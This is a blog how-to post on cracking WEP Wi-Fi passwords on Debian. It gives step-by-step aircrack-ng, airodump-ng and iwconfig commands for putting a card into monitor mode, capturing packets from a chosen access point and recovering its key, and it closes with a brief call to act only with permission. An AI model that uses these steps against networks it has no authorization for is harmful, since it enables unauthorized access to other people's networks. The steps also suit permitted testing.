Cracking Wi-Fi Password with Debian Linux

Posted by Rakesh in Howto Comments

Feb
17

There is a program or rather OS called backtrack which has all these programs installed. I personally use Debian as my linux OS distro. Now if you have Debian what you have to do is open a terminal (shell) and type: sudo -i, what this does is make it so all your commands run on root (enter your password for your login when it asks for it after typing sudo -i.

First i need to log in as admin (root), Then I start the network device, prism headers, and put the device into monitor mode.

1. type following commands from the command-line:

type in order to know my wireless network interface name:
iwconfig

example: eth2

2. type:
ifconfig eth2 up

3. next type:
iwpriv eth2 forceprism 1

4. next type:
iwpriv eth2 rfmontx 1

next type:
iwconfig eth2 mode monitor

5. type to install aircrack-ng tool if it is not installed:
apt-get install aircrack-ng

what this does is install the aircrack suite (includes airmon-ng, airodump-ng, aircrack-ng, aireplay-ng, airtun-ng, and not sure what else).

after that is done installing type: airmon-ng

this shows all the wireless interface cards you have connected to your computer
pick one you want to use and type : airmon-ng start *your chosen interface* –mine is eth2

Example:
airmon-ng start eth2

6. Then, type:
airodump-ng -c 6 eth2

Next we scan for the network and wait for the clients station to appear (alternatively we can use kismet tool to scan client station. To install this tool, type: apt-get install kismet (run it from commandline – it displays the detailed information about client stations)

and note down the bssid and client (station) mac address…

For example, I for following client station mac address:
bssid – 00:13:46:40:17:24
client mac – 00:11:95:D4:88:7E

7. type:
airodump-ng *your chosen interface*

this will start scanning your surroundings for a network to crack. It will include all the info like the bssid, essid, channel, how many packets, how close you are to the access point.

chose an access point that has a lot of packets coming in (and make sure it is WEP)

open a new terminal by pressing: ctrl+shift+N

8. type: airodump-ng -w *any file name you want* –bssid *the MAC address of the network your going to hack* -c *the channel of that network* *and your chosen interface*

example: airodump-ng -w passcode –bssid 00:13:46:40:17:24 -c 6 eth2

with any luck it will start collecting packets and save it in a file called passcode (or whatever you put) .cap

after it has collected at least 5000 packets open a new terminal
and type in: dir

this shows what is in the folder… you are looking for yourfilenameyouchose-01.cap
highlight and copy this by double clicking it in the terminal and right-clicking

9. next type: aircrack-ng -a 1 -b *mac address your cracking* yourfilenameyouchose-01.cap
example: aircrack-ng -a 1 -b 00:13:46:40:17:24 passcode-01.cap

hit enter and if you have enough packets it should say key found… take that key and try connecting to the access point you cracked… when it asks for the key just type that key you just got into the the text box… if you followed this it should work for you on debian….

Note that I have tested it — to hack my friend’s wifi WEP password on his permission.

Happy WiFi hacking, but be responsible and do it only for testing or if you have permission.